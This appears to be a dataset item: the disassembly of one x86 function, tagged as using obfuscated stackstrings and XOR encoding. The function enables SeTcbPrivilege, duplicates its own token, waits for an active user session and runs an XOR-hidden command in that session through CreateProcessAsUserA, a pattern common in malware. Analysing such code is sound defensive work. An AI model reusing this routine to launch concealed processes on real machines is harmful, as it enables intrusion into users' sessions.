Function at 0x10001280
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x2f8
mov eax, dword [0x10018004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 1
push str.SeTcbPrivilege
call fcn.10001040
push 1
push str.SeChangeNotifyPrivilege
call fcn.10001040
push 1
push str.SeIncreaseQuotaPrivilege
call fcn.10001040
push 1
push str.SeAssignPrimaryTokenPrivilege
call fcn.10001040
mov dword [ebp - 0x28c], 0
mov dword [ebp - 0x284], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea ecx, [ebp - 0x28c]
push ecx
push 0xf01ff
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea eax, [ebp - 0x284]
push eax
push 1
push 1
push 0
push 0x2000000
push dword [ebp - 0x28c]
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x290], 0
mov dword [ebp - 0x288], 0
nop dword [eax]
lea eax, [ebp - 0x290]
push eax
lea eax, [ebp - 0x298]
push eax
push 1
push 0
push 0
call sub.WTSAPI32.dll_WTSEnumerateSessionsA
mov edx, dword [ebp - 0x290]
xor eax, eax
test edx, edx
je 0x1000138b
mov esi, dword [ebp - 0x298]
lea ecx, [esi + 8]
nop
cmp dword [ecx], 0
je 0x1000137f
inc eax
add ecx, 0xc
cmp eax, edx
jb 0x10001370
jmp 0x1000138b
lea eax, [eax + eax*2]
mov eax, dword [esi + eax*4]
mov dword [ebp - 0x288], eax
cmp dword [ebp - 0x288], 0
jne 0x1000139d
push 0x3e8
call edi
jmp 0x10001340
push 4
lea eax, [ebp - 0x288]
push eax
push 0xc
push dword [ebp - 0x284]
call dword [sym.imp.ADVAPI32.dll_SetTokenInformation]
movaps xmm1, xmmword [str.EEEEEEEEEEEEEEEESSSSSSSSSSSSSSSS]
xorps xmm0, xmm0
mov dword [ebp - 0x2f4], 0
xor eax, eax
movlpd qword [ebp - 0x2ec], xmm0
movlpd qword [ebp - 0x2e4], xmm0
movlpd qword [ebp - 0x2dc], xmm0
movlpd qword [ebp - 0x2d4], xmm0
movlpd qword [ebp - 0x2cc], xmm0
movlpd qword [ebp - 0x2c4], xmm0
movlpd qword [ebp - 0x2bc], xmm0
movaps xmmword [ebp - 0x2b0], xmm0
mov dword [ebp - 0x2f8], 0x44
mov dword [ebp - 0x2f0], str.WinSta0Default
mov dword [ebp - 0x40], 0x15197f06
mov dword [ebp - 0x3c], 0x37222a37
mov dword [ebp - 0x38], 0x3652824
mov dword [ebp - 0x34], 0x3620292c
mov dword [ebp - 0x30], 0x7d3d6d65
mov dword [ebp - 0x2c], 0x2196c73
mov dword [ebp - 0x28], 0x29222a2a
mov dword [ebp - 0x24], 0x35101920
mov dword [ebp - 0x20], 0x20312421
nop dword [eax]
movups xmm0, xmmword [ebp + eax - 0x40]
pxor xmm0, xmm1
movups xmmword [ebp + eax - 0x40], xmm0
add eax, 0x10
cmp eax, 0x20
jl 0x10001460
cmp eax, 0x24
jge 0x1000148b
nop dword [eax + eax]
xor byte [ebp + eax - 0x40], 0x45
inc eax
cmp eax, 0x24
jl 0x10001480
movaps xmm0, xmmword [0x10011270]
lea eax, [ebp - 0x233]
push 0x1d3
mov dword [ebp - 0x60], 0x3c3c140f
mov dword [ebp - 0x5c], 0x6363f34
mov dword [ebp - 0x58], 0x27323723
mov dword [ebp - 0x54], 0x2b367d36
pxor xmm0, xmmword [ebp - 0x60]
push 0
push eax
movaps xmmword [ebp - 0x60], xmm0
mov byte [ebp - 0x280], 0x65
call fcn.10002460
movups xmm0, xmmword [ebp - 0x40]
mov eax, dword [ebp - 0x20]
add esp, 0xc
mov dword [ebp - 0x248], eax
mov al, byte [ebp - 0x280]
movups xmmword [ebp - 0x268], xmm0
push 0
movups xmm0, xmmword [ebp - 0x30]
mov byte [ebp - 0x234], al
lea eax, [ebp - 0x294]
push dword [ebp - 0x284]
movups xmmword [ebp - 0x258], xmm0
push eax
movaps xmm0, xmmword [ebp - 0x60]
movups xmmword [ebp - 0x244], xmm0
call sub.USERENV.dll_CreateEnvironmentBlock
push str.CreateProcessAsUserA
push str.kernel32.dll
call fcn.100010e0
mov esi, eax
lea eax, [ebp - 0x2b0]
push eax
lea eax, [ebp - 0x2f8]
push eax
push 0
push dword [ebp - 0x294]
lea eax, [ebp - 0x268]
push 0x430
push 0
push 0
push 0
push eax
push 0
push dword [ebp - 0x284]
call esi
test eax, eax
jne 0x100015a2
push 0x2710
call edi
lea eax, [ebp - 0x2b0]
push eax
lea eax, [ebp - 0x2f8]
push eax
push 0
push dword [ebp - 0x294]
lea eax, [ebp - 0x268]
push 0x430
push 0
push 0
push 0
push eax
push 0
push dword [ebp - 0x284]
call esi
test eax, eax
je 0x10001565
push 0xffffffffffffffff
push dword [ebp - 0x2b0]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x284]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x28c]
call esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.10001847
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret